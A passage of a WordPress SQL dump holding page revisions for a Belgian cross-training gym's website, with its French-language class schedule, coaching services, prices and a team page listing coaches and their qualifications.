(322, 1, '2013-07-10 15:44:11', '2013-07-10 15:44:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:44:11', '2013-07-10 15:44:11', '', 11, 'http://www.crosstrainingcenter.be/11-revision-109/', 0, 'revision', '', 0),
(323, 1, '2013-07-10 15:45:00', '2013-07-10 15:45:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:00', '2013-07-10 15:45:00', '', 11, 'http://www.crosstrainingcenter.be/11-revision-110/', 0, 'revision', '', 0),
(324, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-35', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 20, 'http://www.crosstrainingcenter.be/20-revision-35/', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
